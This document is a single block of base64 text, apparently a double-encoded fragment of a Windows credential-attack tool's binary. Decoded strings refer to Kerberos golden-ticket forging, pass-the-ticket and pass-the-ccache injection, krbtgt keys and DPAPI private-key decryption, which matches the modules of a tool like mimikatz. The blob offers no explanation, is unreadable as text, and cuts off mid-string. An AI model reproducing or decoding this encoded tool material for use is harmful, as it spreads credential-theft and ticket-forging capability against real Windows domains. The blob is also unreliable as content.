FHVUFLUUFLQUFBQVJBQmxBR01BY2dCNUFIQUFkQUJwQUc0QVp3QWdBRVVBZUFCd0FHOEFjZ0IwQUNBQVpnQnNBR0VBWndCekFEb0FDZ0FBQUFBQUFBQklhakZrYVZFMmEzQlZlRGRXUXpSdEFBQUFBQUFBQUFCRUFHVUFZd0J5QUhrQWNBQjBBR2tBYmdCbkFDQUFVQUJ5QUdrQWRnQmhBSFFBWlFBZ0FFc0FaUUI1QURvQUNnQUFBQUFBQUFBQUFISUFZUUIzQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCa0FIQUFZUUJ3QUdrQVh3QnJBR1VBZVFCekFGOEFZd0JoQUhBQWFRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBR1lBYVFCc0FHVUFYd0J5QUdVQVlRQmtBRVFBWVFCMEFHRUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBR3NBWlFCNUFITUFYd0JqQUdFQWNBQnBBQ0FBT3dBZ0FFa0FiZ0J3QUhVQWRBQWdBRU1BUVFCUUFFa0FJQUJ3QUhJQWFRQjJBR0VBZEFCbEFDQUFhd0JsQUhrQUlBQm1BR2tBYkFCbEFDQUFiZ0JsQUdVQVpBQmxBR1FBSUFBb0FDOEFhUUJ1QURvQVpnQnBBR3dBWlFBcEFBb0FBQUFBQUFBQVJBQmxBR01BY2dCNUFIQUFkQUJwQUc0QVp3QWdBRkFBY2dCcEFIWUFZUUIwQUdVQUlBQlFBSElBYndCd0FHVUFjZ0IwQUdrQVpRQnpBRG9BQ2dBQUFEWnFibXRrTlVveldtUlJSSFJ5YzNVQUFBQUFBQUFBQUhoVU5YSmFWelZ4VmxaaWNuWndkVUVBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBYXdCbEFIa0Fjd0JmQUdNQWJnQm5BQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhJQVpRQmhBR1FBUkFCaEFIUUFZUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCckFHVUFlUUJ6QUY4QVl3QnVBR2NBSUFBN0FDQUFTUUJ1QUhBQWRRQjBBQ0FBUXdCT0FFY0FJQUJ3QUhJQWFRQjJBR0VBZEFCbEFDQUFhd0JsQUhrQUlBQm1BR2tBYkFCbEFDQUFiZ0JsQUdVQVpBQmxBR1FBSUFBb0FDOEFhUUJ1QURvQVpnQnBBR3dBWlFBcEFBb0FBQUJMWlhKaVpYSnZjd0FBQUFBQUFBQUFjQUIwQUhRQUFBQlFBR0VBY3dCekFDMEFkQUJvQUdVQUxRQjBBR2tBWXdCckFHVUFkQUFnQUZzQVRnQlVBQ0FBTmdCZEFBQUFBQUJzQUdrQWN3QjBBQUFBQUFBQUFBQUFUQUJwQUhNQWRBQWdBSFFBYVFCakFHc0FaUUIwQUNnQWN3QXBBQUFBQUFCMEFHY0FkQUFBQUZJQVpRQjBBSElBYVFCbEFIWUFaUUFnQUdNQWRRQnlBSElBWlFCdUFIUUFJQUJVQUVjQVZBQUFBQUFBQUFBQUFIQUFkUUJ5QUdjQVpRQUFBQUFBQUFCUUFIVUFjZ0JuQUdVQUlBQjBBR2tBWXdCckFHVUFkQUFvQUhNQUtRQUFBR2NBYndCc0FHUUFaUUJ1QUFBQUFBQlhBR2tBYkFCc0FIa0FJQUJYQUc4QWJnQnJBR0VBSUFCbUFHRUFZd0IwQUc4QWNnQjVBQUFBU0FCaEFITUFhQUFnQUhBQVlRQnpBSE1BZHdCdkFISUFaQUFnQUhRQWJ3QWdBR3NBWlFCNUFITUFBQUFBQUFBQWNBQjBBR01BQUFCUUFHRUFjd0J6QUMwQWRBQm9BR1VBTFFCakFHTUFZUUJqQUdnQVpRQWdBRnNBVGdCVUFEWUFYUUFBQUFBQUFBQmpBR3dBYVFCekFIUUFBQUFBQUFBQUFBQUFBQUFBQUFCTUFHa0Fjd0IwQUNBQWRBQnBBR01BYXdCbEFIUUFjd0FnQUdrQWJnQWdBRTBBU1FCVUFDOEFTQUJsQUdrQWJRQmtBR0VBYkFCc0FDQUFZd0JqQUdFQVl3Qm9BR1VBQUFCckFHVUFjZ0JpQUdVQWNnQnZBSE1BQUFBQUFBQUFBQUJMQUdVQWNnQmlBR1VBY2dCdkFITUFJQUJ3QUdFQVl3QnJBR0VBWndCbEFDQUFiUUJ2QUdRQWRRQnNBR1VBQUFBbEFETUFkUUFnQUMwQUlBQkVBR2tBY2dCbEFHTUFkQUJ2QUhJQWVRQWdBQ2NBSlFCekFDY0FJQUFvQUNvQUxnQnJBR2tBY2dCaUFHa0FLUUFLQUFBQVhBQXFBQzRBYXdCcEFISUFZZ0JwQUFBQUFBQmNBQUFBSUFBZ0FDQUFKUUF6QUhVQUlBQXRBQ0FBUmdCcEFHd0FaUUFnQUNjQUpRQnpBQ2NBSUFBNkFDQUFBQUFBQUFBQUpRQXpBSFVBSUFBdEFDQUFSZ0JwQUd3QVpRQWdBQ2NBSlFCekFDY0FJQUE2QUNBQUFBQUFBRThBU3dBS0FBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFIQUFkQUIwQUY4QVpnQnBBR3dBWlFBZ0FEc0FJQUJNQUhNQVlRQkRBR0VBYkFCc0FFc0FaUUJ5QUdJQVpRQnlBRzhBY3dCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBSlFBd0FEZ0FlQUFLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQVlnQmxBSElBYndCekFGOEFjQUIwQUhRQVh3Qm1BR2tBYkFCbEFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBSElBWlFCaEFHUUFSQUJoQUhRQVlRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0J3QUhRQWRBQmZBR1FBWVFCMEFHRUFJQUE3QUNBQVRBQnpBR0VBUXdCaEFHd0FiQUJCQUhVQWRBQm9BR1VBYmdCMEFHa0FZd0JoQUhRQWFRQnZBRzRBVUFCaEFHTUFhd0JoQUdjQVpRQWdBRXNBWlFCeUFHSUFVd0IxQUdJQWJRQnBBSFFBVkFCcEFHTUFhd0JsQUhRQVRRQmxBSE1BY3dCaEFHY0FaUUFnQUM4QUlBQlFBR0VBWXdCckFHRUFad0JsQUNBQU9nQWdBQ1VBTUFBNEFIZ0FDZ0FBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBRjhBY0FCMEFIUUFYd0JrQUdFQWRBQmhBQ0FBT3dBZ0FFd0Fjd0JoQUVNQVlRQnNBR3dBUVFCMUFIUUFhQUJsQUc0QWRBQnBBR01BWVFCMEFHa0Fid0J1QUZBQVlRQmpBR3NBWVFCbkFHVUFJQUJMQUdVQWNnQmlBRk1BZFFCaUFHMEFhUUIwQUZRQWFRQmpBR3NBWlFCMEFFMEFaUUJ6QUhNQVlRQm5BR1VBSUFBNkFDQUFKUUF3QURnQWVBQUtBQUFBQUFBQUFGUUFhUUJqQUdzQVpRQjBBQ2dBY3dBcEFDQUFjQUIxQUhJQVp3QmxBQ0FBWmdCdkFISUFJQUJqQUhVQWNnQnlBR1VBYmdCMEFDQUFjd0JsQUhNQWN3QnBBRzhBYmdBZ0FHa0Fjd0FnQUU4QVN3QUtBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBRjhBY0FCMUFISUFad0JsQUNBQU93QWdBRXdBY3dCaEFFTUFZUUJzQUd3QVFRQjFBSFFBYUFCbEFHNEFkQUJwQUdNQVlRQjBBR2tBYndCdUFGQUFZUUJqQUdzQVlRQm5BR1VBSUFCTEFHVUFjZ0JpQUZBQWRRQnlBR2NBWlFCVUFHa0FZd0JyQUdVQWRBQkRBR0VBWXdCb0FHVUFUUUJsQUhNQWN3QmhBR2NBWlFBZ0FDOEFJQUJRQUdFQVl3QnJBR0VBWndCbEFDQUFPZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0J3QUhVQWNnQm5BR1VBSUFBN0FDQUFUQUJ6QUdFQVF3QmhBR3dBYkFCQkFIVUFkQUJvQUdVQWJnQjBBR2tBWXdCaEFIUUFhUUJ2QUc0QVVBQmhBR01BYXdCaEFHY0FaUUFnQUVzQVpRQnlBR0lBVUFCMUFISUFad0JsQUZRQWFRQmpBR3NBWlFCMEFFTUFZUUJqQUdnQVpRQk5BR1VBY3dCekFHRUFad0JsQUNBQU9nQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQVN3QmxBSElBWWdCbEFISUFid0J6QUNBQVZBQkhBRlFBSUFCdkFHWUFJQUJqQUhVQWNnQnlBR1VBYmdCMEFDQUFjd0JsQUhNQWN3QnBBRzhBYmdBZ0FEb0FJQUFBQUFBQUFBQUFBQUFBQUFBS0FBb0FDUUFxQUNvQUlBQlRBR1VBY3dCekFHa0Fid0J1QUNBQWF3QmxBSGtBSUFCcEFITUFJQUJPQUZVQVRBQk1BQ0VBSUFCSkFIUUFJQUJ0QUdVQVlRQnVBSE1BSUFCaEFHd0FiQUJ2QUhjQWRBQm5BSFFBY3dCbEFITUFjd0JwQUc4QWJnQnJBR1VBZVFBZ0FHa0Fjd0FnQUc0QWJ3QjBBQ0FBY3dCbEFIUUFJQUIwQUc4QUlBQXhBQ0FBS2dBcUFBb0FBQUFBQUc0QWJ3QWdBSFFBYVFCakFHc0FaUUIwQUNBQUlRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFIUUFad0IwQUNBQU93QWdBRXdBY3dCaEFFTUFZUUJzQUd3QVFRQjFBSFFBYUFCbEFHNEFkQUJwQUdNQVlRQjBBR2tBYndCdUFGQUFZUUJqQUdzQVlRQm5BR1VBSUFCTEFHVUFjZ0JpQUZJQVpRQjBBSElBYVFCbEFIWUFaUUJVQUdrQVl3QnJBR1VBZEFCTkFHVUFjd0J6QUdFQVp3QmxBQ0FBTHdBZ0FGQUFZUUJqQUdzQVlRQm5BR1VBSUFBNkFDQUFKUUF3QURnQWVBQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3QjBBR2NBZEFBZ0FEc0FJQUJNQUhNQVlRQkRBR0VBYkFCc0FFRUFkUUIwQUdnQVpRQnVBSFFBYVFCakFHRUFkQUJwQUc4QWJnQlFBR0VBWXdCckFHRUFad0JsQUNBQVN3QmxBSElBWWdCU0FHVUFkQUJ5QUdrQVpRQjJBR1VBVkFCcEFHTUFhd0JsQUhRQVRRQmxBSE1BY3dCaEFHY0FaUUFnQURvQUlBQWxBREFBT0FCNEFBb0FBQUFBQUdVQWVBQndBRzhBY2dCMEFBQUFBQUFLQUZzQUpRQXdBRGdBZUFCZEFDQUFMUUFnQURBQWVBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWN3QUFBQUFBQUFBS0FDQUFJQUFnQUZNQWRBQmhBSElBZEFBdkFFVUFiZ0JrQUM4QVRRQmhBSGdBVWdCbEFHNEFaUUIzQURvQUlBQUFBQUFBQUFBQUFDQUFPd0FnQUFBQUFBQUFBQUFBQUFBS0FDQUFJQUFnQUZNQVpRQnlBSFlBWlFCeUFDQUFUZ0JoQUcwQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBSGNBV2dBZ0FFQUFJQUFsQUhjQVdnQUFBQUFBQUFBQUFBQUFBQUFBQUFvQUlBQWdBQ0FBUXdCc0FHa0FaUUJ1QUhRQUlBQk9BR0VBYlFCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFkd0JhQUNBQVFBQWdBQ1VBZHdCYUFBQUFBQUFBQUFvQUlBQWdBQ0FBUmdCc0FHRUFad0J6QUNBQUpRQXdBRGdBZUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBQUFBQUFHc0FhUUJ5QUdJQWFRQUFBQUFBQUFBS0FDQUFJQUFnQUNvQUlBQlRBR0VBZGdCbEFHUUFJQUIwQUc4QUlBQm1BR2tBYkFCbEFDQUFJQUFnQUNBQUlBQTZBQ0FBSlFCekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUd3QWFRQnpBSFFBSUFBN0FDQUFUQUJ6QUdFQVF3QmhBR3dBYkFCQkFIVUFkQUJvQUdVQWJnQjBBR2tBWXdCaEFIUUFhUUJ2QUc0QVVBQmhBR01BYXdCaEFHY0FaUUFnQUVzQVpRQnlBR0lBVWdCbEFIUUFjZ0JwQUdVQWRnQmxBRVVBYmdCakFHOEFaQUJsQUdRQVZBQnBBR01BYXdCbEFIUUFUUUJsQUhNQWN3QmhBR2NBWlFBZ0FDOEFJQUJRQUdFQVl3QnJBR0VBWndCbEFDQUFPZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBRjhBYkFCcEFITUFkQUFnQURzQUlBQk1BSE1BWVFCREFHRUFiQUJzQUVFQWRRQjBBR2dBWlFCdUFIUUFhUUJqQUdFQWRBQnBBRzhBYmdCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBU3dCbEFISUFZZ0JTQUdVQWRBQnlBR2tBWlFCMkFHVUFSUUJ1QUdNQWJ3QmtBR1VBWkFCVUFHa0FZd0JyQUdVQWRBQk5BR1VBY3dCekFHRUFad0JsQUNBQU9nQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUd3QWFRQnpBSFFBSUFBN0FDQUFUQUJ6QUdFQVF3QmhBR3dBYkFCQkFIVUFkQUJvQUdVQWJnQjBBR2tBWXdCaEFIUUFhUUJ2QUc0QVVBQmhBR01BYXdCaEFHY0FaUUFnQUVzQVpRQnlBR0lBVVFCMUFHVUFjZ0I1QUZRQWFRQmpBR3NBWlFCMEFFTUFZUUJqQUdnQVpRQkZBSGdBTWdCTkFHVUFjd0J6QUdFQVp3QmxBQ0FBTHdBZ0FGQUFZUUJqQUdzQVlRQm5BR1VBSUFBNkFDQUFKUUF3QURnQWVBQUtBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBRjhBYkFCcEFITUFkQUFnQURzQUlBQk1BSE1BWVFCREFHRUFiQUJzQUVFQWRRQjBBR2dBWlFCdUFIUUFhUUJqQUdFQWRBQnBBRzhBYmdCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBU3dCbEFISUFZZ0JSQUhVQVpRQnlBSGtBVkFCcEFHTUFhd0JsQUhRQVF3QmhBR01BYUFCbEFFVUFlQUF5QUUwQVpRQnpBSE1BWVFCbkFHVUFJQUE2QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUFBQUpRQjFBQzBBSlFBd0FEZ0FlQUF0QUNVQWR3QmFBRUFBSlFCM0FGb0FMUUFsQUhjQVdnQXVBQ1VBY3dBQUFBQUFkQUJwQUdNQWF3QmxBSFFBTGdCckFHa0FjZ0JpQUdrQUFBQUFBQUFBQUFCMEFHa0FZd0JyQUdVQWRBQUFBQUFBWVFCa0FHMEFhUUJ1QUFBQUFBQUFBSFVBY3dCbEFISUFBQUFBQUFBQUFBQmtBRzhBYlFCaEFHa0FiZ0FBQUFBQVpBQmxBSE1BQUFCeUFHTUFOQUFBQUdzQWNnQmlBSFFBWndCMEFBQUFBQUJoQUdVQWN3QXhBRElBT0FBQUFBQUFZUUJsQUhNQU1nQTFBRFlBQUFBQUFITUFaUUJ5QUhZQWFRQmpBR1VBQUFCMEFHRUFjZ0JuQUdVQWRBQUFBQUFBYVFCa0FBQUFBQUJ5QUc4QVpBQmpBQUFBQUFBQUFBQUFad0J5QUc4QWRRQndBSE1BQUFBQUFITUFhUUJrQUhNQUFBQUFBREFBQUFCekFIUUFZUUJ5QUhRQWJ3Qm1BR1lBY3dCbEFIUUFBQUExQURJQU5RQTJBREFBTUFBd0FBQUFaUUJ1QUdRQWFRQnVBQUFBQUFBQUFISUFaUUJ1QUdVQWR3QnRBR0VBZUFBQUFBQUFBQUFBQUZVQWN3QmxBSElBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBY3dBS0FFUUFid0J0QUdFQWFRQnVBQ0FBSUFBZ0FDQUFPZ0FnQUNVQWN3QUtBRk1BU1FCRUFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FLQUZVQWN3QmxBSElBSUFCSkFHUUFJQUFnQUNBQU9nQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQVJ3QnlBRzhBZFFCd0FITUFJQUJKQUdRQUlBQTZBQ0FBS2dBQUFBQUFBQUFsQUhVQUlBQUFBQW9BUlFCNEFIUUFjZ0JoQUNBQVV3QkpBRVFBY3dBNkFDQUFBQUFBQUFBQUNnQlRBR1VBY2dCMkFHa0FZd0JsQUVzQVpRQjVBRG9BSUFBQUFBQUFBQUFnQUMwQUlBQWxBSE1BQ2dBQUFBQUFVd0JsQUhJQWRnQnBBR01BWlFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQUFCVUFHRUFjZ0JuQUdVQWRBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUFBRXdBYVFCbUFHVUFkQUJwQUcwQVpRQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUtnQXFBQ0FBVUFCaEFITUFjd0FnQUZRQWFBQmxBQ0FBVkFCcEFHTUFhd0JsQUhRQUlBQXFBQ29BQUFBQUFBQUFMUUErQUNBQVZBQnBBR01BYXdCbEFIUUFJQUE2QUNBQUpRQnpBQW9BQ2dBQUFBQUFBQUFBQUFvQVJ3QnZBR3dBWkFCbEFHNEFJQUIwQUdrQVl3QnJBR1VBZEFBZ0FHWUFid0J5QUNBQUp3QWxBSE1BSUFCQUFDQUFKUUJ6QUNjQUlBQnpBSFVBWXdCakFHVUFjd0J6QUdZQWRRQnNBR3dBZVFBZ0FITUFkUUJpQUcwQWFRQjBBSFFBWlFCa0FDQUFaZ0J2QUhJQUlBQmpBSFVBY2dCeUFHVUFiZ0IwQUNBQWN3QmxBSE1BY3dCcEFHOEFiZ0FLQUFBQUFBQUFBQUFBQ2dCR0FHa0FiZ0JoQUd3QUlBQlVBR2tBWXdCckFHVUFkQUFnQUZNQVlRQjJBR1VBWkFBZ0FIUUFid0FnQUdZQWFRQnNBR1VBSUFBaEFBb0FBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0JuQUc4QWJBQmtBR1VBYmdBZ0FEc0FJQUFLQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBSGNBY2dCcEFIUUFaUUJFQUdFQWRBQmhBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdjQWJ3QnNBR1FBWlFCdUFDQUFPd0FnQUVzQWNnQmlBRU1BY2dCbEFHUUFJQUJsQUhJQWNnQnZBSElBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHSUFaUUJ5QUc4QWN3QmZBR2NBYndCc0FHUUFaUUJ1QUNBQU93QWdBRXNBY2dCaUFIUUFad0IwQUNBQWF3QmxBSGtBSUFCekFHa0FlZ0JsQUNBQWJBQmxBRzRBWndCMEFHZ0FJQUJ0QUhVQWN3QjBBQ0FBWWdCbEFDQUFKUUIxQUNBQUtBQWxBSFVBSUFCaUFIa0FkQUJsQUhNQUtRQWdBR1lBYndCeUFDQUFKUUJ6QUFvQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QVp3QnZBR3dBWkFCbEFHNEFJQUE3QUNBQVZRQnVBR0VBWWdCc0FHVUFJQUIwQUc4QUlBQnNBRzhBWXdCaEFIUUFaUUFnQUVNQWNnQjVBSEFBZEFCdkFGTUFlUUJ6QUhRQVpRQnRBQ0FBWmdCdkFISUFJQUJGQUZRQVdRQlFBRVVBSUFBbEFIVUFJQUFvQUdVQWNnQnlBRzhBY2dBZ0FEQUFlQUFsQURBQU9BQjRBQ2tBSUFBdEFDQUFRUUJGQUZNQUlBQnZBRzRBYkFCNUFDQUFZUUIyQUdFQWFRQnNBR0VBWWdCc0FHVUFJQUJ2QUc0QUlBQk9BRlFBTmdBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBRjhBWndCdkFHd0FaQUJsQUc0QUlBQTdBQ0FBVFFCcEFITUFjd0JwQUc0QVp3QWdBR3NBY2dCaUFIUUFad0IwQUNBQWF3QmxBSGtBSUFCaEFISUFad0IxQUcwQVpRQnVBSFFBSUFBb0FDOEFjZ0JqQURRQUlBQnZBSElBSUFBdkFHRUFaUUJ6QURFQU1nQTRBQ0FBYndCeUFDQUFMd0JoQUdVQWN3QXlBRFVBTmdBcEFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QVp3QnZBR3dBWkFCbEFHNEFJQUE3QUNBQVV3QkpBRVFBSUFCekFHVUFaUUJ0QUhNQUlBQnBBRzRBZGdCaEFHd0FhUUJrQUNBQUxRQWdBRU1BYndCdUFIWUFaUUJ5QUhRQVV3QjBBSElBYVFCdUFHY0FVd0JwQUdRQVZBQnZBRk1BYVFCa0FDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0JuQUc4QWJBQmtBR1VBYmdBZ0FEc0FJQUJOQUdrQWN3QnpBR2tBYmdCbkFDQUFVd0JKQUVRQUlBQmhBSElBWndCMUFHMEFaUUJ1QUhRQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QVp3QnZBR3dBWkFCbEFHNEFJQUE3QUNBQVRRQnBBSE1BY3dCcEFHNEFad0FnQUdRQWJ3QnRBR0VBYVFCdUFDQUFZUUJ5QUdjQWRRQnRBR1VBYmdCMEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHSUFaUUJ5QUc4QWN3QmZBR2NBYndCc0FHUUFaUUJ1QUNBQU93QWdBRTBBYVFCekFITUFhUUJ1QUdjQUlBQjFBSE1BWlFCeUFDQUFZUUJ5QUdjQWRRQnRBR1VBYmdCMEFBb0FBQUFBQUFBQVBBQXpBQ0FBWlFCdkFDNEFid0JsQUNBQWZnQWdBRUVBVGdCVEFGTUFTUUFnQUVVQVBnQUFBQ0FBS2dBZ0FGQUFRUUJEQUNBQVp3QmxBRzRBWlFCeUFHRUFkQUJsQUdRQUNnQUFBQUFBQUFBZ0FDb0FJQUJRQUVFQVF3QWdBSE1BYVFCbkFHNEFaUUJrQUFvQUFBQUFBQ0FBS2dBZ0FFVUFiZ0JqQUZRQWFRQmpBR3NBWlFCMEFGQUFZUUJ5QUhRQUlBQm5BR1VBYmdCbEFISUFZUUIwQUdVQVpBQUtBQUFBSUFBcUFDQUFSUUJ1QUdNQVZBQnBBR01BYXdCbEFIUUFVQUJoQUhJQWRBQWdBR1VBYmdCakFISUFlUUJ3QUhRQVpRQmtBQW9BQUFBZ0FDb0FJQUJMQUhJQVlnQkRBSElBWlFCa0FDQUFad0JsQUc0QVpRQnlBR0VBZEFCbEFHUUFDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFHY0Fid0JzQUdRQVpRQnVBRjhBWkFCaEFIUUFZUUFnQURzQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdVQWJnQmpBSElBZVFCd0FIUUFJQUFsQURBQU9BQjRBQW9BQUFBQUFBQUFDUUFxQUNBQUpRQnpBQ0FBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0JpQUdVQWNnQnZBSE1BWHdCb0FHRUFjd0JvQUY4QVpBQmhBSFFBWVFBZ0FEc0FJQUJJQUdFQWN3Qm9BRkFBWVFCekFITUFkd0J2QUhJQVpBQWdBRG9BSUFBbEFEQUFPQUI0QUFvQUFBQUFBR01BYndCMUFHNEFkQUFBQUFBQUFBQllBQzBBUXdCQkFFTUFTQUJGQUVNQVR3Qk9BRVlBT2dBQUFBQUFBQUFBQUFvQVVBQnlBR2tBYmdCakFHa0FjQUJoQUd3QUlBQTZBQ0FBQUFBQUFBQUFDZ0FLQUVRQVlRQjBBR0VBSUFBbEFIVUFBQUFBQUFBQUNnQUpBQ0FBSUFBZ0FDb0FJQUJKQUc0QWFnQmxBR01BZEFCcEFHNEFad0FnQUhRQWFRQmpBR3NBWlFCMEFDQUFPZ0FnQUFBQUFBQUtBQWtBSUFBZ0FDQUFLZ0FnQUZNQVlRQjJBR1VBWkFBZ0FIUUFid0FnQUdZQWFRQnNBR1VBSUFBbEFITUFJQUFoQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3QmpBR01BWVFCakFHZ0FaUUJmQUdVQWJnQjFBRzBBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCbUFHa0FiQUJsQUY4QWR3QnlBR2tBZEFCbEFFUUFZUUIwQUdFQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQW9BQ1FBcUFDQUFKUUIzQUZvQUlBQmxBRzRBZEFCeUFIa0FQd0FnQUNvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdNQVl3QmhBR01BYUFCbEFGOEFaUUJ1QUhVQWJRQWdBRHNBSUFCakFHTUFZUUJqQUdnQVpRQWdBSFlBWlFCeUFITUFhUUJ2QUc0QUlBQWhBRDBBSUFBd0FIZ0FNQUExQURBQU5BQUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QVl3QmpBR0VBWXdCb0FHVUFYd0JsQUc0QWRRQnRBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhJQVpRQmhBR1FBUkFCaEFIUUFZUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QVl3QmpBR0VBWXdCb0FHVUFYd0JsQUc0QWRRQnRBQ0FBT3dBZ0FFRUFkQUFnQUd3QVpRQmhBSE1BZEFBZ0FHOEFiZ0JsQUNBQVpnQnBBR3dBWlFCdUFHRUFiUUJsQUNBQWFRQnpBQ0FBYmdCbEFHVUFaQUJsQUdRQUN